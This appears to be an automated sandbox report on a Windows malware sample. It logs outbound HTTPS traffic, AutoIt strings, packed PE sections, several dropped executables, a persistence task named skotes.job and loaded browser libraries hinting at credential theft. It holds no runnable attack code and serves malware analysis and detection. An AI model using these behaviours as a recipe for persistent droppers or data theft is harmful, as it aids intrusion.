Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.8:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.8:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49933 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 8cfb091e91.exe, 00000021.00000000.2489822914.0000000000732000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_07bb3a0a-b
Source: 8cfb091e91.exe, 00000021.00000000.2489822914.0000000000732000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_b2d7d5f4-e

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name:
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: .idata
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name:
Source: c5c0aef5f7.exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: a4be4c0327.exe.25.dr	Static PE information: section name:
Source: a4be4c0327.exe.25.dr	Static PE information: section name: .rsrc
Source: a4be4c0327.exe.25.dr	Static PE information: section name: .idata
Source: a4be4c0327.exe.25.dr	Static PE information: section name:
Source: random[2].exe0.25.dr	Static PE information: section name:
Source: random[2].exe0.25.dr	Static PE information: section name: .rsrc
Source: random[2].exe0.25.dr	Static PE information: section name: .idata
Source: random[2].exe0.25.dr	Static PE information: section name:
Source: d7f88d1a57.exe.25.dr	Static PE information: section name:
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: .rsrc
Source: d7f88d1a57.exe.25.dr	Static PE information: section name: .idata
Source: d7f88d1a57.exe.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: e9987cd408.exe.25.dr	Static PE information: section name:
Source: e9987cd408.exe.25.dr	Static PE information: section name: .idata
Source: e9987cd408.exe.25.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsKECBFBAEBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6ECC0	0_2_6CC6ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCECD0	0_2_6CCCECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7AC60	0_2_6CC7AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD36C00	0_2_6CD36C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4AC30	0_2_6CD4AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFCDC0	0_2_6CDFCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD06D90	0_2_6CD06D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC74DB0	0_2_6CC74DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD9AD50	0_2_6CD9AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD3ED70	0_2_6CD3ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF8D20	0_2_6CDF8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7AEC0	0_2_6CC7AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD10EC0	0_2_6CD10EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCF6E90	0_2_6CCF6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0EE70	0_2_6CD0EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD50E20	0_2_6CD50E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4EFF0	0_2_6CD4EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70FE0	0_2_6CC70FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB8FB0	0_2_6CDB8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7EFB0	0_2_6CC7EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCDEF40	0_2_6CCDEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD32F70	0_2_6CD32F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC76F10	0_2_6CC76F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB0F20	0_2_6CDB0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD768E0	0_2_6CD768E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD44840	0_2_6CD44840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0820	0_2_6CCC0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCFA820	0_2_6CCFA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD8C9E0	0_2_6CD8C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA49F0	0_2_6CCA49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD309B0	0_2_6CD309B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD009A0	0_2_6CD009A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD2A9A0	0_2_6CD2A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA8960	0_2_6CCA8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC6900	0_2_6CCC6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCEEA80	0_2_6CCEEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCECA70	0_2_6CCECA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD1EA00	0_2_6CD1EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD28A30	0_2_6CD28A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD76BE0	0_2_6CD76BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD10BA0	0_2_6CD10BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0A4D0	0_2_6CD0A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB64D0	0_2_6CCB64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD9A480	0_2_6CD9A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC88460	0_2_6CC88460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD4420	0_2_6CCD4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCFA430	0_2_6CCFA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD3A5E0	0_2_6CD3A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCFE5F0	0_2_6CCFE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC645B0	0_2_6CC645B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB8550	0_2_6CDB8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC8540	0_2_6CCC8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD74540	0_2_6CD74540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD10570	0_2_6CD10570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD2560	0_2_6CCD2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC946D0	0_2_6CC946D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCE6E0	0_2_6CCCE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0E6E0	0_2_6CD0E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCC650	0_2_6CCCC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9A7D0	0_2_6CC9A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCF0700	0_2_6CCF0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC68090	0_2_6CC68090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4C0B0	0_2_6CD4C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC800B0	0_2_6CC800B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBE070	0_2_6CCBE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD38010	0_2_6CD38010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD3C000	0_2_6CD3C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC701E0	0_2_6CC701E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8140	0_2_6CCD8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD54130	0_2_6CD54130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE6130	0_2_6CCE6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF62C0	0_2_6CDF62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD3E2B0	0_2_6CD3E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD422A0	0_2_6CD422A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD08250	0_2_6CD08250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCF8260	0_2_6CCF8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD3A210	0_2_6CD3A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD48220	0_2_6CD48220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC43E0	0_2_6CCC43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA23A0	0_2_6CCA23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCE3B0	0_2_6CCCE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC78340	0_2_6CC78340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD06370	0_2_6CD06370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB2370	0_2_6CDB2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC72370	0_2_6CC72370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD8C360	0_2_6CD8C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE2320	0_2_6CCE2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDADCD0	0_2_6CDADCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD31CE0	0_2_6CD31CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0FC80	0_2_6CD0FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC73C40	0_2_6CC73C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD99C40	0_2_6CD99C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC81C30	0_2_6CC81C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD41DC0	0_2_6CD41DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC63D80	0_2_6CC63D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB9D90	0_2_6CDB9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD3D00	0_2_6CCD3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC93EC0	0_2_6CC93EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCBE70	0_2_6CDCBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF5E60	0_2_6CDF5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD7DE10	0_2_6CD7DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD8DFC0	0_2_6CD8DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF3FC0	0_2_6CDF3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD1BFF0	0_2_6CD1BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC91F90	0_2_6CC91F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA5F20	0_2_6CCA5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC65F30	0_2_6CC65F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC7F20	0_2_6CDC7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0F8C0	0_2_6CD0F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4F8F0	0_2_6CD4F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7D8E0	0_2_6CC7D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA38E0	0_2_6CCA38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCB8F0	0_2_6CDCB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCD810	0_2_6CCCD810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD099C0	0_2_6CD099C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA99D0	0_2_6CCA99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD079F0	0_2_6CD079F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD59F0	0_2_6CCD59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD41990	0_2_6CD41990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC81980	0_2_6CC81980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCEF960	0_2_6CCEF960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD2D960	0_2_6CD2D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBF900	0_2_6CDBF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD25920	0_2_6CD25920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC71AE0	0_2_6CC71AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4DAB0	0_2_6CD4DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF9A50	0_2_6CDF9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD11A10	0_2_6CD11A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAFA10	0_2_6CCAFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD6DA30	0_2_6CD6DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB7BF0	0_2_6CCB7BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD55B90	0_2_6CD55B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC61B80	0_2_6CC61B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD39BB0	0_2_6CD39BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC9BA0	0_2_6CCC9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4FB60	0_2_6CD4FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBBB20	0_2_6CCBBB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC714E0	0_2_6CC714E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF14A0	0_2_6CDF14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCFD410	0_2_6CCFD410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD59430	0_2_6CD59430
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00278860	25_2_00278860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00277049	25_2_00277049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_002778BB	25_2_002778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00272D10	25_2_00272D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_002731A8	25_2_002731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00234DE0	25_2_00234DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00267F36	25_2_00267F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00234B30	25_2_00234B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0027779B	25_2_0027779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC93620 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDA9F30 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC99B10 appears 99 times

Source: file.exe, 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1975835664.000000006FE42000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: owrujbfc ZLIB complexity 0.9949547747558742
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979191502043597
Source: random[1].exe.0.dr	Static PE information: Section: tgzacnml ZLIB complexity 0.9940141636690647
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979191502043597
Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: Section: tgzacnml ZLIB complexity 0.9940141636690647
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9979191502043597
Source: skotes.exe.23.dr	Static PE information: Section: tgzacnml ZLIB complexity 0.9940141636690647
Source: random[1].exe.25.dr	Static PE information: Section: mxitkrgf ZLIB complexity 0.9942767101551481
Source: a4be4c0327.exe.25.dr	Static PE information: Section: mxitkrgf ZLIB complexity 0.9942767101551481
Source: random[2].exe0.25.dr	Static PE information: Section: ZLIB complexity 0.9981334058544303
Source: random[2].exe0.25.dr	Static PE information: Section: ynffvxyk ZLIB complexity 0.9950782173736329
Source: d7f88d1a57.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9981334058544303
Source: d7f88d1a57.exe.25.dr	Static PE information: Section: ynffvxyk ZLIB complexity 0.9950782173736329
Source: random[1].exe0.25.dr	Static PE information: Section: owrujbfc ZLIB complexity 0.9949547747558742
Source: e9987cd408.exe.25.dr	Static PE information: Section: owrujbfc ZLIB complexity 0.9949547747558742

